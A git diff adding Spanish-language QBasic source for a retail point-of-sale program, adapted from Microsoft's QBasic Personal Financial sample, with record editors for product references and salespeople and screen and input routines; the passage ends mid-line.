CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + + CurrCol = (CurrCol + 3) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 5 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EditShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + + SELECT CASE CurrCol + + CASE 1 + IF CurrFig#(2) <> 0 THEN + PRINT USING u6$; CurrFig#(2); + ELSE + PRINT SPACE$(vis(2)); + END IF + + CASE 2 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN + PRINT LEFT$(CurrString$(1), vis(2)); + ELSE + PRINT SPACE$(vis(2)) + END IF + + + CASE 3 + IF CurrFig#(3) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(3); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 4 + IF CurrFig#(4) <> 0 THEN + PRINT " "; + PRINT USING u5$; CurrFig#(4); + PRINT " "; + ELSE + PRINT " "; + END IF + + CASE 5 + IF CurrFig#(5) <> 0 THEN + PRINT USING u2$; CurrFig#(5); + ELSE + PRINT " "; + END IF + + CASE 6 + IF CurrFig#(6) <> 0 THEN + PRINT USING u2$; CurrFig#(6); + ELSE + PRINT " "; + END IF + + + END SELECT + + RETURN + + +EditEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + + CASE 1 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(1), start$, new$, vis(1), max(1)) + new1# = VAL(new$) + start$ = "" + LOOP WHILE new1# >= 1001# OR new1# < 0 + CurrFig#(2) = new1# + + reg = 0: b = 1 + + + DO + + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cc#(b) + CurrFig#(5) = Cd#(b) + CurrFig#(6) = Ce#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + box 16, 24, 19, 49 + IF TopeRef# = 999 THEN + LOCATE 17, 25: PRINT " Lo siento, referencias " + LOCATE 18, 25: PRINT "AGOTADAS, elimine alguna" + ELSE + LOCATE 17, 25: PRINT "Esa Referencia no existe" + LOCATE 18, 25: PRINT "¨ Desea crearla ? (S/N) " + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + IF i$ = "s" OR i$ = "S" THEN + Valpu = 0 + TopeRef# = TopeRef# + 1 + GraDat = 1 + GraCurrDat = CurrTopline + CurrRow - 1 + ELSEIF i$ = "n" OR i$ = "N" THEN CurrFig#(2) = 0 + + END IF + END IF + END IF + + + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 2 + + + + IF Valpu = 0 THEN + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), kbd$, new$, vis(CurrCol), max(CurrCol)) + CurrString$(1) = new$ + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + + CASE 3 + start$ = kbd$ + + DO + kbd$ = GetString$(CurrRow + 4, Col(3), start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + + IF CurrFig#(4) <= 100# AND new3# <= 601# OR new3# <= 0 THEN EXIT DO + + IF CurrFig#(4) > 100# AND new3# <= 11 OR new3# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(3) = new3# + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + + CASE 4 + + IF Valpu = 0 THEN + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(4), start$, new$, vis(4), max(4)) + new4# = VAL(new$) + start$ = "" + + IF CurrFig#(3) <= 10 AND new4# <= 601 OR new4# <= 0 THEN EXIT DO + IF CurrFig#(3) > 10 AND new4# <= 101 OR new4# <= 0 THEN EXIT DO + + LOOP + + + + CurrFig#(4) = new4# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 5 + IF Valpu = 0 THEN + + start$ = kbd$ + old3# = CurrFig#(5) + + DO + kbd$ = GetString$(CurrRow + 4, Col(5), start$, new$, vis(5), max(5)) + new5# = VAL(new$) + start$ = "" + LOOP WHILE new5# >= 75001# OR new5# < 0 + a = CurrRecord + + CurrFig#(5) = new5# + + END IF + + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE 6 + IF Valpu = 0 THEN + + start$ = kbd$ + old4# = CurrFig#(6) + DO + kbd$ = GetString$(CurrRow + 4, Col(6), start$, new$, vis(6), max(6)) + new6# = VAL(new$) + start$ = "" + LOOP WHILE new6# >= 75001# OR new6# < 0 + a = CurrRecord + + CurrFig#(6) = new6# + + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + BalTotal# = BalTotal# - Balance#(CurrRecord) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + Balance#(CurrRecord) = PvpTotal# - PcTotal# + BalTotal# = BalTotal# + Balance#(CurrRecord) + + + CASE ELSE + END SELECT + + GOSUB EditPrintLine + + RETURN + +EditMoveUp: + Valpu = 0 + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditGetLine + GOSUB EditPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditGetLine + END IF + GOSUB PrintBalan + RETURN + +EditMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditGetLine + GOSUB EditPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditGetLine + END IF + END IF + GOSUB PrintBalan + RETURN + +EditPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + IF CurrFig#(2) <> 0 THEN PRINT USING u6$; CurrFig#(2); ELSE PRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³" + CurrString$(1); ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u5$; CurrFig#(4); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(5) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(5); ELSE PRINT "³ "; + + IF CurrFig#(6) <> 0 THEN PRINT "³"; : PRINT USING u2$; CurrFig#(6); ELSE PRINT "³ "; + PRINT "³"; + PRINT USING u3$; Balance#(CurrRecord); + + IF bajabar <> 1 THEN GOSUB EditPrintBalances + + +END IF + +RETURN + +EditPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR a = 1 TO 16 + CurrRecord = CurrTopline + a - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + a, 66 + PRINT USING u3$; Balance#(CurrTopline + a - 1); + END IF + NEXT a + +PrintBalan: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditDeleteRecord: + bajabar = 1 + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE a <= MaxRecord + GET #1, a + 2 + PUT #1, a + 1 + + Balance#(a) = Balance#(a + 1) + a = a + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditMoveUp + END IF + bajabar = 0 + GOSUB EditGetLine + + END IF + RETURN + +EditAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + a = MaxRecord + + tb = 0 + WHILE a > CurrRecord + + GET #1, a + 1 + PUT #1, a + 2 + + Balance#(a + 1) = Balance#(a) + + a = a - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoRef$ = STR$(0) + LSET IoDesc$ = "" + LSET IoUnd$ = STR$(0) + LSET IoCC$ = STR$(0) + LSET IoPvp$ = STR$(0) + LSET IoPc$ = STR$(0) + PUT #1, CurrRecord + 2 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + + GOSUB EditGetLine + RETURN + +EditPrintWholeScreen: + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditGetLine + END IF + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditPutLine: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #1, CurrRecord + 1 + +IF GraCurrDat = CurrRecord THEN + + file2$ = "Ref#." + Cvit$(e%) + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + LSET IRf$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IDsc$ = CurrString$(1) + LSET ICC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IPVP$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IPC$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #2, TopeRef# + LSET vld$ = "SI" + LSET IMxRcrd$ = LTRIM$(RTRIM$(STR$(TopeRef#))) + PUT #2, 1 + + TopeRef# = VAL(IMxRcrd$) + + Ca#(TopeRef#) = CurrFig#(2) + Cb$(TopeRef#) = CurrString$(1) + Cc#(TopeRef#) = CurrFig#(4) + Cd#(TopeRef#) = CurrFig#(5) + Ce#(TopeRef#) = CurrFig#(6) + + CLOSE #2 +END IF + + + RETURN + + +EditGetLine: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + dia$ = IoDia$ + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoUnd$) + CurrFig#(4) = VAL(IoCC$) + CurrFig#(5) = VAL(IoPvp$) + CurrFig#(6) = VAL(IoPc$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + + RETURN + + +CargaReferencias: + +CLS +box 14, 28, 17, 51 + +center 15, "Cargando referencias" +center 16, "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(e%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + +END SUB + +'Trin$: +' Remove null and spaces from the end of a string. +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR a = 1 TO LEN(x$) + y$ = MID$(x$, a, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = a + END IF + NEXT a + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + +SUB Vende (r%) + 'Information about each column + REDIM help$(4), Col(4), vis(4), max(4), Title$(9), Desc$(9), Ca$(9), AType$(9) + 'Draw the screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS a$ + FIELD #1, 2 AS valid$ + IF valid$ <> "*" THEN + valid$ = "*" + PUT #1, 1 + FOR a = 1 TO 9 + LSET T$ = "" + LSET D$ = "" + LSET C$ = "" + LSET a$ = "" + PUT #1, a + 1 + NEXT a + END IF + FOR a = 1 TO 9 + GET #1, a + 1 + Title$(a) = T$ + Desc$(a) = D$ + Ca$(a) = C$ + AType$(a) = a$ + NEXT a + CLOSE + box 2, 1, 14, 80 + box 15, 1, 18, 80 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80) + LOCATE 1, 4: PRINT "Editor de Vendedores, Empresa: " + Trim$(account(r%).Title); + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT "No³ Vendedor/a ³ Otros Datos ³ C.A ³N.A" + LOCATE 4, 2: PRINT "ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄ" + u$ = "##³\ \³\ \³\ \³ ! " + FOR a = 5 TO 13 + LOCATE a, 2 + x = a - 4 + PRINT USING u$; x; Title$(x); Desc$(x); Ca$(x); AType$(x); + NEXT a + + 'Initialize variables + help$(1) = " Nombre del Vendedor/a " + help$(2) = " Direcci¢n, n§ Telefono, etc... " + help$(3) = " Codigo Personal de Acceso al Sistema " + help$(4) = " Acceso al Sistema ( Nivel 1 a 5 ) " + Col(1) = 5: Col(2) = 26: Col(3) = 72: Col(4) = 78 + vis(1) = 20: vis(2) = 50: vis(3) = 4: vis(4) = 1 + max(1) = 20: max(2) = 50: max(3) = 3: max(4) = 1 + + finished = false + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + 'Loop until F2 or is pressed + DO + GOSUB EditAccountsShowCursor 'Show Cursor + DO 'Wait for key + kbd$ = INKEY$ + LOOP UNTIL kbd$ <> "" + IF kbd$ >= " " AND kbd$ < "~" THEN 'If legal, edit item + + COLOR colors(8, ColorPref), colors(9, ColorPref) + ok = false + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), start$, end$, vis(CurrCol), max(CurrCol)) + SELECT CASE CurrCol + CASE 1: Title$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 2: Desc$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 3: Ca$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 4: AType$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE ELSE + END SELECT + start$ = "" + + IF CurrCol = 4 THEN + x$ = UCASE$(end$) + IF VAL(x$) >= 1 OR VAL(x$) <= 5 THEN + ok = true + ELSE + BEEP + END IF + ELSE + ok = true + END IF + + LOOP UNTIL ok + END IF + + hide = 1: GOSUB EditAccountsShowCursor: hide = 0 'Hide Cursor so it can move + 'If it needs to + SELECT CASE kbd$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRow = (CurrRow + 17) MOD 9 + 1 + CASE CHR$(0) + "P" 'Down Arrow + CurrRow = (CurrRow) MOD 9 + 1 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrCol = (CurrCol + 1) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "<" 'F2 + finished = true + Save = true + CASE CHR$(27) 'Esc + finished = true + Save = false + CASE CHR$(13) 'Return + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + IF Save THEN + + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS a$ + FIELD #1, 2 AS valid$ + FOR a = 1 TO 9 + LSET T$ = Title$(a) + LSET D$ = Desc$(a) + LSET C$ = Ca$(a) + LSET a$ = AType$(a) + PUT #1, a + 1 + NEXT a + CLOSE + + END IF + + EXIT SUB + + +EditAccountsShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, Col(CurrCol) + SELECT CASE CurrCol + CASE 1: PRINT LEFT$(Title$(CurrRow), vis(CurrCol)); + CASE 2: PRINT LEFT$(Desc$(CurrRow), vis(CurrCol)); + CASE 3: PRINT LEFT$(Ca$(CurrRow), vis(CurrCol)); + CASE 4: PRINT LEFT$(AType$(CurrRow), vis(CurrCol)); + CASE ELSE + END SELECT + + RETURN + +END SUB + diff --git a/NEW/PROVEED.BAS b/NEW/PROVEED.BAS new file mode 100644 index 0000000..4ec4ea4 Binary files /dev/null and b/NEW/PROVEED.BAS differ diff --git a/NEW/REF#.BAS b/NEW/REF#.BAS new file mode 100644 index 0000000..f83454b Binary files /dev/null and b/NEW/REF#.BAS differ diff --git a/NEW/TPV.BAS b/NEW/TPV.BAS new file mode 100644 index 0000000..9676f7c --- /dev/null +++ b/NEW/TPV.BAS @@ -0,0 +1,1929 @@ +' +' Q B a s i c P e r s o n a l F i n a n c i a l +' +' Copyright (C) Microsoft Corporation 1990 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB ScrollUp () +DECLARE SUB ScrollDown () +DECLARE SUB Initialize () +DECLARE SUB center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB Box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB ImpRef (po%) +DECLARE SUB ImpComp (so%) +DECLARE SUB Vende (r%) +DECLARE SUB Elif () +DECLARE SUB Staul () +DECLARE SUB Ticket (e%) +DECLARE SUB Stock (EE%) +DECLARE SUB Balan (EEE%) +DECLARE FUNCTION Cvit$ (x%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, Choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, Col%, start$, end$, vis%, max%) +DECLARE FUNCTION Trim$ (x$) + +'Constants +CONST true = -1 +CONST false = NOT true + +'User-defined types +TYPE AccountType + Title AS STRING * 20 + AType AS STRING * 1 + Desc AS STRING * 50 +END TYPE + +TYPE Recordtype + Date AS STRING * 8 + Ref AS STRING * 10 + Desc AS STRING * 50 + Fig1 AS DOUBLE + Fig2 AS DOUBLE +END TYPE + +'Global variables +DIM SHARED Account(1 TO 19) AS AccountType 'Stores the 19 account titles +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED ScrollUpAsm(1 TO 7) 'Assembly Language Routines +DIM SHARED ScrollDownAsm(1 TO 7) +DIM SHARED Fecha$(1), fech$(1) +COMMON SHARED Account() AS AccountType, ColorPref, colors(), ScrollUpAsm(), ScrollDownAsm(), printerr AS INTEGER, Choice, SubChoice + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + OPEN "Personal.cfg" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + FOR A = 1 TO 19 + Account(A).Title = "" + Account(A).AType = "" + Account(A).Desc = "" + NEXT A + SaveState + RESUME + CASE 24, 25 + printerr = true + Box 8, 13, 14, 69 + center 11, "La impresora no responde ..." + center 12, "Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + +ErrorCaj: + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, "N" + CLOSE +RESUME NEXT + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'The following data is actually a machine language program to +'scroll the screen up or down very fast using a BIOS call. +DATA &HB8,&H01,&H06,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB +DATA &HB8,&H01,&H07,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB + +SUB Balan (EE%) + +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB Box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR A = Row1 + 1 TO Row2 - 1 + LOCATE A, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT A + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'Cvit$: +' Convert an integer to a string WITHOUT a leading space. +FUNCTION Cvit$ (x) + Cvit$ = RIGHT$(STR$(x), LEN(STR$(x)) - 1) +END FUNCTION + +SUB Elif + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR A = 95 TO 1820 STEP 45 + Row = A / 80 + 1 + Col = A MOD 80 + 1 + LOCATE Row, Col + PRINT CHR$(250); + NEXT A + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, Col, start$, end$, vis, max) + Curr$ = Trim$(LEFT$(start$, max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = false + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = true + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = true + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, Col + IF LEN(Curr$) > vis THEN + PRINT RIGHT$(Curr$, vis); + ELSE + PRINT Curr$; SPACE$(vis - LEN(Curr$)); + LOCATE Row, Col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImpComp (so%) + + 'Stores info about each column + + 'Array to keep the current balance at all the transactions + + REDIM Col(6), Balance#(1000) + mes$ = MID$(DATE$, 1, 2) + an$ = MID$(DATE$, 7, 4) + comes$ = mes$ + "-" + an$ + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Mes y a¤o" + center 19, "para imprimir gastos." + PrintHelpLine "Mes y A¤o: mm-aaaa" + DO + emp$ = GetString$(20, 7, comes$, end$, 10, 10) + Fecha$ = end$ + mes$ = MID$(Fecha$, 1, 2) + IF VAL(mes$) <= 12 THEN gf = 1 + IF LEN(Fecha$) < 7 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + an$ = MID$(Fecha$, 4, 4) + + + + center 18, "Imprimiendo 